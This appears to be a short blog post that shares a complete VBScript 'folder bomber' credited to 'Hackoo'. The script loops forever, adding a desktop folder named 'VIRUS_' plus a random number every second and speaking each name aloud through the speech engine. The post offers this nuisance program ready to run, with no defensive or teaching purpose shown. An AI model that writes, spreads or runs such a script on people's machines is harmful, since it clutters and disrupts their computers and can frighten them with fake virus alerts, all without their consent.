A Speaking Folder Bomber on the Desktop with Vbscript
The Code Is Below:
'----A Speaking Folder Bomber on the Desktop with Vbscript by Hackoo----
Dim fso,sho,basefolder,FolderBomb,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
Set Voix=CreateObject("SAPI.SpVoice")
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
FolderBomb="VIRUS_"&r
Voix.speak FolderBomb 'The Computer speak and tell the name of the empty folder created by this script
bf.subFolders.Add(FolderBomb) 'Create Folders with names begin with VIRUS and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop
0 comments: